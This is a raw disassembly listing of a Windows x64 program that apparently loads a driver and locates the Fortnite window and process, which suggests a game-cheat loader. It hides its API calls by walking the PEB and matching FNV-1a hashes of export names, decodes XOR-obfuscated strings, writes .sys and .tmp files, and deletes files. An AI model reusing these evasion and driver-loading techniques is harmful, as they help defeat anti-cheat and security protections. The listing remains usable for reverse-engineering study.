mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400ba235
test r11, r11
je 0x1400ba200
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400ba230
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400ba250
cmp edi, 0x491e0a9c
jne 0x1400ba230
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
jmp 0x1400baf45
mov qword [rbp + 0x248], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400ba2e0
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400ba2ec
lea rcx, [rbx + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x230], rdi
mov qword [rbp + 0x240], rsi
mov qword [rbp + 0x248], rbx
lea rdx, [rbp + 0x2b0]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [0x14059db20]
lea rdx, [rbp + 0x270]
lea r8, [rbp + 0x230]
call fcn.1400e8d50
mov dword [rbp + 0x2b0], 0x9040e04
mov word [rbp + 0x2b4], 0x30e
mov byte [rbp + 0x2b6], Ordinal_60
mov dword [rbp + 0x5b0], 0x30393533
mov word [rbp + 0x5b4], 0x3738
mov byte [rbp + 0x5b6], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x260], xmm0
lea rcx, [rbp + 0x5b0]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400bce73
mov rsi, rax
cmp rax, 0xf
ja 0x1400ba3ca
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x250]
lea rdx, [rbp + 0x5b0]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rbp
add rsi, 0x250
jmp 0x1400ba442
mov qword [rbp + 0x268], reloc.WS2_32.dll_ntohs
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, reloc.WLDAP32.dll_Ordinal_22
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400ba40c
lea rcx, [rbx + 0x28]
call fcn.140127dec
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400ba418
lea rcx, [rbx + 1]
call fcn.140127dec
mov rdi, rax
mov qword [rbp + 0x250], rdi
mov qword [rbp + 0x260], rsi
mov qword [rbp + 0x268], rbx
lea rdx, [rbp + 0x5b0]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [0x14059db20]
lea rdx, [rbp + 0x290]
lea r8, [rbp + 0x250]
call fcn.1400e8d50
mov dword [rbp + 0x5b0], 0x80e0306
mov word [rbp + 0x5b4], 0xd01
mov byte [rbp + 0x5b6], Ordinal_60
mov dword [rbp + 0x550], 0x7379732e
mov byte [rbp + 0x554], 0
lea rdi, [rbp + 0x2d0]
lea rdx, [rbp + 0x550]
mov rcx, rdi
call fcn.1400b3cc0
mov dword [rbp + 0x530], 0x706d742e
mov byte [rbp + 0x534], 0
lea rbx, [rbp + 0x550]
lea rsi, [rbp + 0x530]
mov rcx, rbx
mov rdx, rsi
call fcn.1400b3cc0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], 0
mov r14, qword [rbp + 0x278]
sub r14, qword [rbp + 0x270]
je 0x1400ba561
js 0x1400bce78
cmp r14, 0x1000
jb 0x1400ba518
lea rcx, [r14 + 0x27]
call fcn.140127dec
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400ba523
mov rcx, r14
call fcn.140127dec
mov r15, rax
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x118], r15
add r14, r15
mov qword [rbp + 0x120], r14
mov rdx, qword [rbp + 0x270]
mov r14, qword [rbp + 0x278]
sub r14, rdx
mov rcx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add r14, r15
mov qword [rbp + 0x118], r14
cmp qword [rbp + 0x2e8], 0x10
jb 0x1400ba572
mov rdi, qword [rbp + 0x2d0]
lea rdx, [rbp + 0x110]
mov rcx, rdi
call fcn.1400b37e0
mov rcx, qword [rbp + 0x2d0]
mov rdx, qword [rbp + 0x2e8]
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd r9, dword [rax + 0x3c]
mov r9d, dword [rax + r9 + 0x88]
test r9, r9
je 0x1400ba5a0
mov r10d, dword [rax + r9 + 0x18]
test r10, r10
je 0x1400ba5a0
mov r11d, dword [rax + r9 + 0x20]
add r11, rax
lea rdi, [rax + 1]
jmp 0x1400ba5d5
test r14, r14
je 0x1400ba5a0
dec r10
mov r14d, r10d
mov r15d, dword [r11 + r14*4]
movzx r13d, byte [rax + r15]
test r13b, r13b
je 0x1400ba5d0
add r15, rdi
mov r12d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r13d, r13b
xor r13d, r12d
imul r12d, r13d, 0x1000193
movzx r13d, byte [r15]
inc r15
test r13b, r13b
jne 0x1400ba600
cmp r12d, 0x6fc89c87
jne 0x1400ba5d0
cmp rdx, 0x10
lea rdi, [rbp + 0x2d0]
cmovb rcx, rdi
mov edx, dword [rax + r9 + 0x1c]
mov r8d, dword [rax + r9 + 0x24]
add rdx, rax
add r8, rax
movzx r8d, word [r8 + r14*2]
mov r8d, dword [rdx + r8*4]
add r8, rax
mov edx, 6
call r8
mov rax, qword [rbp + 0x270]
cmp rax, qword [rbp + 0x278]
je 0x1400ba66d
mov qword [rbp + 0x278], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], 0
mov r14, qword [rbp + 0x298]
sub r14, qword [rbp + 0x290]
je 0x1400ba704
js 0x1400bce7d
cmp r14, 0x1000
jb 0x1400ba6bb
lea rcx, [r14 + 0x27]
call fcn.140127dec
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400ba6c6
mov rcx, r14
call fcn.140127dec
mov r15, rax
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x138], r15
add r14, r15
mov qword [rbp + 0x140], r14
mov rdx, qword [rbp + 0x290]
mov r14, qword [rbp + 0x298]
sub r14, rdx
mov rcx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
add r14, r15
mov qword [rbp + 0x138], r14
cmp qword [rbp + 0x568], 0x10
jb 0x1400ba715
mov rbx, qword [rbp + 0x550]
lea rdx, [rbp + 0x130]
mov rcx, rbx
call fcn.1400b37e0
mov rcx, qword [rbp + 0x550]
mov rdx, qword [rbp + 0x568]
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
nop word cs:[rax + rax]
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd r9, dword [rax + 0x3c]
mov r9d, dword [rax + r9 + 0x88]
test r9, r9
je 0x1400ba750
mov r10d, dword [rax + r9 + 0x18]
test r10, r10
je 0x1400ba750
mov r11d, dword [rax + r9 + 0x20]
add r11, rax
lea rbx, [rax + 1]
jmp 0x1400ba785
test r14, r14
je 0x1400ba750
dec r10
mov r14d, r10d
mov r15d, dword [r11 + r14*4]
movzx r13d, byte [rax + r15]
test r13b, r13b
je 0x1400ba780
add r15, rbx
mov r12d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r13d, r13b
xor r13d, r12d
imul r12d, r13d, 0x1000193
movzx r13d, byte [r15]
inc r15
test r13b, r13b
jne 0x1400ba7b0
cmp r12d, 0x6fc89c87
jne 0x1400ba780
cmp rdx, 0x10
lea rbx, [rbp + 0x550]
cmovb rcx, rbx
mov edx, dword [rax + r9 + 0x1c]
mov r8d, dword [rax + r9 + 0x24]
add rdx, rax
add r8, rax
movzx r8d, word [r8 + r14*2]
mov r8d, dword [rdx + r8*4]
add r8, rax
mov edx, 6
call r8
movabs r12, 0x4c4b4a4948474645
mov rax, qword [rbp + 0x290]
cmp rax, qword [rbp + 0x298]
je 0x1400ba827
mov qword [rbp + 0x298], rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 0
mov qword [rbp + 0x548], reloc.WS2_32.dll_ntohs
cmp qword [rbp + 0x568], 0x10
jb 0x1400ba858
mov rbx, qword [rbp + 0x550]
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r14, rax
cmp rax, 0xf
jbe 0x1400ba882
mov qword [rsp + 0x20], r14
lea rcx, [rbp + 0x530]
mov rdx, r14
mov r9, rbx
call fcn.140008fd0
jmp 0x1400ba8a4
mov qword [rbp + 0x540], r14
lea rcx, [rbp + 0x530]
mov rdx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memmove
mov byte [rbp + r14 + 0x530], 0
mov word [rbp + 0x518], reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x518]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x1400ba938
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x530]
lea r9, [rbp + 0x518]
mov rdx, rax
call fcn.140008fd0
cmp qword [rbp + 0x2e8], 0x10
jb 0x1400ba8fe
mov rdi, qword [rbp + 0x2d0]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x1400ba974
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x530]
mov rdx, rax
mov r9, rdi
call fcn.140008fd0
jmp 0x1400ba9a9
mov rbx, rax
add rbx, rcx
mov qword [rbp + 0x540], rbx
cmp rdx, 0x10
jb 0x1400ba952
mov rsi, qword [rbp + 0x530]
add rcx, rsi
lea rdx, [rbp + 0x518]
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
cmp qword [rbp + 0x2e8], 0x10
jae 0x1400ba8f7
jmp 0x1400ba8fe
mov rsi, rax
add rsi, rcx
mov qword [rbp + 0x540], rsi
cmp rdx, 0x10
jb 0x1400ba990
mov rbx, qword [rbp + 0x530]
jmp 0x1400ba997
lea rbx, [rbp + 0x530]
add rcx, rbx
mov rdx, rdi
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400ba9c0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400ba9c0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400ba9f5
test r11, r11
je 0x1400ba9c0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400ba9f0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400baa10
cmp edi, 0xeb9ddf46
jne 0x1400ba9f0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 1
call rdx
mov rcx, qword [rbp + 0x530]
mov rdx, qword [rbp + 0x548]
mov rax, qword gs:[0x60]
mov r8, qword [rax + 0x18]
add r8, 0x10
nop dword [rax]
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
movsxd r9, dword [rax + 0x3c]
mov r9d, dword [rax + r9 + 0x88]
test r9, r9
je 0x1400baa70
mov r10d, dword [rax + r9 + 0x18]
test r10, r10
je 0x1400baa70
mov r11d, dword [rax + r9 + 0x20]
add r11, rax
lea rdi, [rax + 1]
jmp 0x1400baaa5
test rsi, rsi
je 0x1400baa70
dec r10
mov esi, r10d
mov ebx, dword [r11 + rsi*4]
movzx r14d, byte [rax + rbx]
test r14b, r14b
je 0x1400baaa0
add rbx, rdi
mov r15d, 0x811c9dc5
nop word cs:[rax + rax]
movsx r14d, r14b
xor r14d, r15d
imul r15d, r14d, 0x1000193
movzx r14d, byte [rbx]
inc rbx
test r14b, r14b
jne 0x1400baad0
cmp r15d, 0x491e0a9c
jne 0x1400baaa0
cmp rdx, 0x10
lea rdi, [rbp + 0x530]
cmovb rcx, rdi
mov edx, dword [rax + r9 + 0x1c]
mov r8d, dword [rax + r9 + 0x24]
add rdx, rax
add r8, rax
movzx r8d, word [r8 + rsi*2]
mov edx, dword [rdx + r8*4]
add rdx, rax
call rdx
cmp qword [rbp + 0x548], 0x10
jb 0x1400bab31
mov rdi, qword [rbp + 0x530]
mov qword [rbp + 0x540], 0
mov byte [rdi], 0
cmp qword [rbp + 0x568], 0x10
lea rsi, [rbp + 0x550]
mov rcx, rsi
jb 0x1400bab5a
mov rcx, qword [rbp + 0x550]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp qword [rbp + 0x568], 0x10
jb 0x1400bab71
mov rsi, qword [rbp + 0x550]
mov qword [rbp + 0x560], 0
mov byte [rsi], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bab90
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bab90
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400babc5
test r11, r11
je 0x1400bab90
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400babc0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400babe0
cmp edi, 0x2fa62ca8
jne 0x1400babc0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x5dc
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bac30
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bac30
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bac65
test r11, r11
je 0x1400bac30
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bac60
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bac80
cmp edi, 0xeb9ddf46
jne 0x1400bac60
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
xor ecx, ecx
call rdx
mov dword [rbp + 0x518], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bace0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bace0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bad15
test r11, r11
je 0x1400bace0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bad10
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bad30
cmp edi, 0x491e0a9c
jne 0x1400bad10
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x518], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x518]
call rdx
mov rax, qword [rbp + 0x548]
cmp rax, 0x10
jb 0x1400badbe
mov rcx, qword [rbp + 0x530]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400badb9
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
mov rax, qword [rbp + 0x568]
cmp rax, 0x10
jb 0x1400bae03
mov rcx, qword [rbp + 0x550]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400badfe
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
mov rax, qword [rbp + 0x2e8]
cmp rax, 0x10
jb 0x1400bae48
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400bae43
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400bc7bf
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140127e30
mov rcx, qword [rbp + 0x290]
test rcx, rcx
je 0x1400bae88
mov rdx, qword [rbp + 0x2a0]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400bae83
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400bc7bf
add rdx, 0x27
mov rcx, rax
call fcn.140127e30
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x1400baec8
mov rdx, qword [rbp + 0x280]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400baec3
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x1400bc7bf
add rdx, 0x27
mov rcx, rax
call fcn.140127e30
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str..796a42a7cc_b912644a0_1f61981b48fb3
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14059d040], rax
inc rax
cmp rax, 2
jb 0x1400bc7c5
movabs rax, 0x4c20726576697244
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x2d8], 0x6564616f
mov word [rbp + 0x2dc], 0x64
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
movups xmm0, xmmword [str.._khifgdebc_aQsWTehR]
movups xmmword [rbp + 0x2dd], xmm0
movups xmm0, xmmword [0x1401707b1]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
xor byte [rbp + 0x2e9], 0x4e
xor byte [rbp + 0x2ea], 0x4f
xor byte [rbp + 0x2eb], 0x50
xor byte [rbp + 0x2ec], 0x51
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2ec], 0
je 0x1400bafd0
cmp qword [0x14059ddb0], 0
je 0x1400bb019
lea rax, [rbp + 0x658]
jmp 0x1400bb093
movaps xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [str.56789:_____ABCDCreateWindowExA]
movaps xmmword [rbp + 0x2d0], xmm0
xor qword [rbp + 0x2e0], r12
xor byte [rbp + 0x2e8], 0x4d
xor byte [rbp + 0x2e9], 0x4e
xor byte [rbp + 0x2ea], 0x4f
xor byte [rbp + 0x2eb], 0x50
xor byte [rbp + 0x2ec], 0x51
cmp qword [0x14059ddb0], 0
jne 0x1400bafc4
lea rax, [rbp + 0x658]
movabs rdi, 0x6574696e74726f46
lea rsi, [rbp + 0x2d0]
nop word cs:[rax + rax]
mov qword [rbp + 0x2d0], rdi
mov word [rbp + 0x2d8], 0x2020
mov byte [rbp + 0x2da], 0
mov rcx, qword [rax]
mov qword [rbp + 0x528], rcx
mov qword [rax], 0
xor ecx, ecx
mov rdx, rsi
call qword [0x14059d0a8]
mov rcx, qword [rbp + 0x528]
lea rdx, [rbp + 0x658]
mov qword [rdx], rcx
mov qword [0x14059ddb0], rax
test rax, rax
mov rax, rdx
je 0x1400bb040
mov qword [rbp + 0x528], rax
mov rcx, qword [rax]
mov qword [rbp + 0x510], rcx
mov qword [rax], 0
lea rdx, str.Fortnite
xor ecx, ecx
call qword [0x14059d0a8]
mov rcx, qword [rbp + 0x510]
mov rdx, qword [rbp + 0x528]
mov qword [rdx], rcx
mov rcx, qword [0x14059d158]
mov qword [rcx + 0x18], rax
test rax, rax
je 0x1400bc54b
mov r13, rdx
movaps xmm0, xmmword [str.Found_Game_WindoFailed_To_Find_PGetting_Game_BasFound_Game_Base_Failed_To_Setup_Failed_To_Cache_MedalOverlayClas]
movaps xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2e0], 0x77
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e1], 0
jne 0x1400bb121
xor byte [rbp + 0x2d0], 0x35
xor byte [rbp + 0x2d1], 0x36
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb140
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb140
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb175
test r11, r11
je 0x1400bb140
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb170
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb190
cmp edi, 0x2fa62ca8
jne 0x1400bb170
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb1f0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb1f0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb225
test r11, r11
je 0x1400bb1f0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb220
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb240
cmp edi, 0x491e0a9c
jne 0x1400bb220
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
movabs rax, 0x20676e6974746547
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x2d8], 0x444950
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop word cs:[rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb2d0
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb2d0
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb305
test r11, r11
je 0x1400bb2d0
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb300
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb320
cmp edi, 0x2fa62ca8
jne 0x1400bb300
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
add rdx, rax
mov ecx, 0x190
call rdx
mov dword [rbp + 0x2d0], 0x38445a56
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
add rcx, 0x10
nop dword [rax + rax]
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
movsxd rdx, dword [rax + 0x3c]
mov edx, dword [rax + rdx + 0x88]
test rdx, rdx
je 0x1400bb380
mov r8d, dword [rax + rdx + 0x18]
test r8, r8
je 0x1400bb380
mov r9d, dword [rax + rdx + 0x20]
add r9, rax
lea r10, [rax + 1]
jmp 0x1400bb3b5
test r11, r11
je 0x1400bb380
dec r8
mov r11d, r8d
mov esi, dword [r9 + r11*4]
movzx ebx, byte [rax + rsi]
test bl, bl
je 0x1400bb3b0
add rsi, r10
mov edi, 0x811c9dc5
nop
movsx ebx, bl
xor ebx, edi
imul edi, ebx, 0x1000193
movzx ebx, byte [rsi]
inc rsi
test bl, bl
jne 0x1400bb3d0
cmp edi, 0x491e0a9c
jne 0x1400bb3b0
mov ecx, dword [rax + rdx + 0x1c]
mov edx, dword [rax + rdx + 0x24]
add rcx, rax
add rdx, rax
movzx edx, word [rdx + r11*2]
mov edx, dword [rcx + rdx*4]
mov dword [rbp + 0x2d0], 0x736c63
add rdx, rax
lea rcx, [rbp + 0x2d0]
call rdx
mov ecx, 2
xor edx, edx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
mov dword [rbp + 0x2d0], 0x238
lea rdx, [rbp + 0x2d0]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400bb490
lea rdi, [rbp + 0x2fc]
lea rbx, str.FortniteClient_Win64_Shipping.exe
mov r15, qword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea r14, [rbp + 0x2d0]
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, rbx
call r15
test eax, eax
je 0x1400bc5ae
mov rcx, rsi
mov rdx, r14
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1400bb470
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x14059d048], 0
movaps xmm0, xmmword [0x140171850]
movaps xmmword [rbp + 0x2d0], xmm0
mov word [rbp + 0x2e0], 0x4449
mov byte [rbp + 0x2e2], 0
lea rcx, [rbp + 0x2d0]
mov edx, reloc.WLDAP32.dll_Ordinal_50
call fcn.1400b58c0
cmp byte [rbp + 0x2e2], 0
jne 0x1400bb4f0
xor byte [rbp + 0x2d0], 0x35
xor byte [rbp + 0x2d1], 0x36
xor byte [rbp + 0x2d2], 0x37
